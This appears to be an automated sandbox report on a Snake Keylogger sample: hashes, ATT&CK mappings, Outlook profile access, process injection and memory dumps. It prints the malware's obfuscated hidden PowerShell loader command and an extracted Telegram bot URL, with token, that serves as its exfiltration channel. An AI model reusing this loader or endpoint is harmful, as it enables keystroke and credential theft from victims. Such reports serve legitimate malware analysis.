snakekeylogger | 6f8a2474ce15e5e5190f6b97bfbf8da3b63224d41e4e7809acb3e1fe328a0784

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-11-2024 02:30

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General

Target

6f8a2474ce15e5e5190f6b97bfbf8da3b63224d41e4e7809acb3e1fe328a0784.exe
Size

701KB
MD5

85243ec170323f84e83bd29723bf47ea
SHA1

b3e2f340d0b9d4d5407f82e16990daa0cbe3b18c
SHA256

6f8a2474ce15e5e5190f6b97bfbf8da3b63224d41e4e7809acb3e1fe328a0784
SHA512

22843a3a0b24b18346f3a3d9fcfb7c10c23d6efe23879ad78fa08a6652716df6646a6b09f6a6cab774df719fbd865b94f9b97cfde3919c7e8abd2184bb556bf0
SSDEEP

12288:G0mnA1zIjZX7y3mc6zhqCnpAYehgvF1L9IMqr9t3DSDb4Nq:uA1zOy2cQht/ehgd1LXw3ewg

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/3560-64-0x0000000001020000-0x0000000002274000-memory.dmp	family_snakekeylogger
behavioral2/memory/3560-65-0x0000000001020000-0x0000000001046000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1560	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
21	3560	msiexec.exe
24	3560	msiexec.exe
26	3560	msiexec.exe
42	3560	msiexec.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3560	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1560	powershell.exe
3560	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\propangas.lem	6f8a2474ce15e5e5190f6b97bfbf8da3b63224d41e4e7809acb3e1fe328a0784.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6f8a2474ce15e5e5190f6b97bfbf8da3b63224d41e4e7809acb3e1fe328a0784.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
3560	msiexec.exe
3560	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1560	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeIncreaseQuotaPrivilege	1560	powershell.exe
Token: SeSecurityPrivilege	1560	powershell.exe
Token: SeTakeOwnershipPrivilege	1560	powershell.exe
Token: SeLoadDriverPrivilege	1560	powershell.exe
Token: SeSystemProfilePrivilege	1560	powershell.exe
Token: SeSystemtimePrivilege	1560	powershell.exe
Token: SeProfSingleProcessPrivilege	1560	powershell.exe
Token: SeIncBasePriorityPrivilege	1560	powershell.exe
Token: SeCreatePagefilePrivilege	1560	powershell.exe
Token: SeBackupPrivilege	1560	powershell.exe
Token: SeRestorePrivilege	1560	powershell.exe
Token: SeShutdownPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeSystemEnvironmentPrivilege	1560	powershell.exe
Token: SeRemoteShutdownPrivilege	1560	powershell.exe
Token: SeUndockPrivilege	1560	powershell.exe
Token: SeManageVolumePrivilege	1560	powershell.exe
Token: 33	1560	powershell.exe
Token: 34	1560	powershell.exe
Token: 35	1560	powershell.exe
Token: 36	1560	powershell.exe
Token: SeDebugPrivilege	3560	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 1560	2300	6f8a2474ce15e5e5190f6b97bfbf8da3b63224d41e4e7809acb3e1fe328a0784.exe	85
PID 2300 wrote to memory of 1560	2300	6f8a2474ce15e5e5190f6b97bfbf8da3b63224d41e4e7809acb3e1fe328a0784.exe	85
PID 2300 wrote to memory of 1560	2300	6f8a2474ce15e5e5190f6b97bfbf8da3b63224d41e4e7809acb3e1fe328a0784.exe	85
PID 1560 wrote to memory of 3560	1560	powershell.exe	98
PID 1560 wrote to memory of 3560	1560	powershell.exe	98
PID 1560 wrote to memory of 3560	1560	powershell.exe	98
PID 1560 wrote to memory of 3560	1560	powershell.exe	98

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\6f8a2474ce15e5e5190f6b97bfbf8da3b63224d41e4e7809acb3e1fe328a0784.exe
"C:\Users\Admin\AppData\Local\Temp\6f8a2474ce15e5e5190f6b97bfbf8da3b63224d41e4e7809acb3e1fe328a0784.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Carpetweed=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Shoofa.Rad';$Beskrivelsesrammernes=$Carpetweed.SubString(53953,3);.$Beskrivelsesrammernes($Carpetweed)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Hyperspiritualisings.Jou4

Filesize
353KB

MD5
e5ab254bbab53479229977e3f42e1e90

SHA1
6a2906bc6b40497a2a2983a0ef5ce86b479bf609

SHA256
54dd5a8f87c375d104d34a41087e06068cf103eedf7928f96dac41342a1c8407

SHA512
0f77210ef367ec8b7d7e47c14fdc27974c379123601aa21ccd17fe4e2d005bd0d5ec65262a0cc645e7dbef91f6fadf989f68880b52984971452f8c7f9cbccb83

Download Submit
C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Shoofa.Rad

Filesize
52KB

MD5
bec5624e576379638737b54edd121409

SHA1
8bfc71d5fc5bec930fad4dc6e55dadddffc48fdc

SHA256
599c9c4648fa3d92c019dc99419cd6e4129d5be92031269d042fca0f16c6ff80

SHA512
0ba24ae0bb04460da8459df64b1a91e4bba1fad98028766215eb28e5512a108b8240b6e94f20fabfdeececad40af929c7090e24ac529056901a689f7a1b2bd5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ucoykwcz.o1q.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1560-45-0x0000000007930000-0x000000000794E000-memory.dmp

Filesize
120KB

Download
memory/1560-12-0x0000000005E30000-0x0000000005E96000-memory.dmp

Filesize
408KB

Download
memory/1560-11-0x0000000005560000-0x0000000005582000-memory.dmp

Filesize
136KB

Download
memory/1560-47-0x0000000007AC0000-0x0000000007ACA000-memory.dmp

Filesize
40KB

Download
memory/1560-13-0x0000000005EA0000-0x0000000005F06000-memory.dmp

Filesize
408KB

Download
memory/1560-8-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-23-0x0000000005F10000-0x0000000006264000-memory.dmp

Filesize
3.3MB

Download
memory/1560-24-0x0000000006520000-0x000000000653E000-memory.dmp

Filesize
120KB

Download
memory/1560-25-0x0000000006AB0000-0x0000000006AFC000-memory.dmp

Filesize
304KB

Download
memory/1560-26-0x00000000074D0000-0x0000000007566000-memory.dmp

Filesize
600KB

Download
memory/1560-46-0x00000000079A0000-0x0000000007A43000-memory.dmp

Filesize
652KB

Download
memory/1560-28-0x0000000006A10000-0x0000000006A32000-memory.dmp

Filesize
136KB

Download
memory/1560-48-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-9-0x00000000056D0000-0x0000000005CF8000-memory.dmp

Filesize
6.2MB

Download
memory/1560-31-0x0000000008990000-0x000000000900A000-memory.dmp

Filesize
6.5MB

Download
memory/1560-34-0x0000000070150000-0x000000007019C000-memory.dmp

Filesize
304KB

Download
memory/1560-33-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-32-0x0000000007950000-0x0000000007982000-memory.dmp

Filesize
200KB

Download
memory/1560-35-0x0000000070890000-0x0000000070BE4000-memory.dmp

Filesize
3.3MB

Download
memory/1560-6-0x0000000073CCE000-0x0000000073CCF000-memory.dmp

Filesize
4KB

Download
memory/1560-27-0x00000000069C0000-0x00000000069DA000-memory.dmp

Filesize
104KB

Download
memory/1560-10-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-29-0x0000000007D60000-0x0000000008304000-memory.dmp

Filesize
5.6MB

Download
memory/1560-49-0x0000000007C40000-0x0000000007C6A000-memory.dmp

Filesize
168KB

Download
memory/1560-50-0x0000000007C70000-0x0000000007C94000-memory.dmp

Filesize
144KB

Download
memory/1560-51-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-53-0x0000000073CCE000-0x0000000073CCF000-memory.dmp

Filesize
4KB

Download
memory/1560-54-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-55-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-7-0x0000000004F30000-0x0000000004F66000-memory.dmp

Filesize
216KB

Download
memory/1560-57-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-58-0x0000000009010000-0x000000000AAB0000-memory.dmp

Filesize
26.6MB

Download
memory/1560-59-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-60-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-61-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-62-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/1560-63-0x0000000073CC0000-0x0000000074470000-memory.dmp

Filesize
7.7MB

Download
memory/3560-64-0x0000000001020000-0x0000000002274000-memory.dmp

Filesize
18.3MB

Download
memory/3560-65-0x0000000001020000-0x0000000001046000-memory.dmp

Filesize
152KB

Download
memory/3560-66-0x0000000021390000-0x000000002142C000-memory.dmp

Filesize
624KB

Download
memory/3560-68-0x0000000022010000-0x0000000022060000-memory.dmp

Filesize
320KB

Download
memory/3560-69-0x0000000022230000-0x00000000223F2000-memory.dmp

Filesize
1.8MB

Download
memory/3560-72-0x0000000022100000-0x0000000022192000-memory.dmp

Filesize
584KB

Download
memory/3560-73-0x0000000022060000-0x000000002206A000-memory.dmp

Filesize
40KB

Download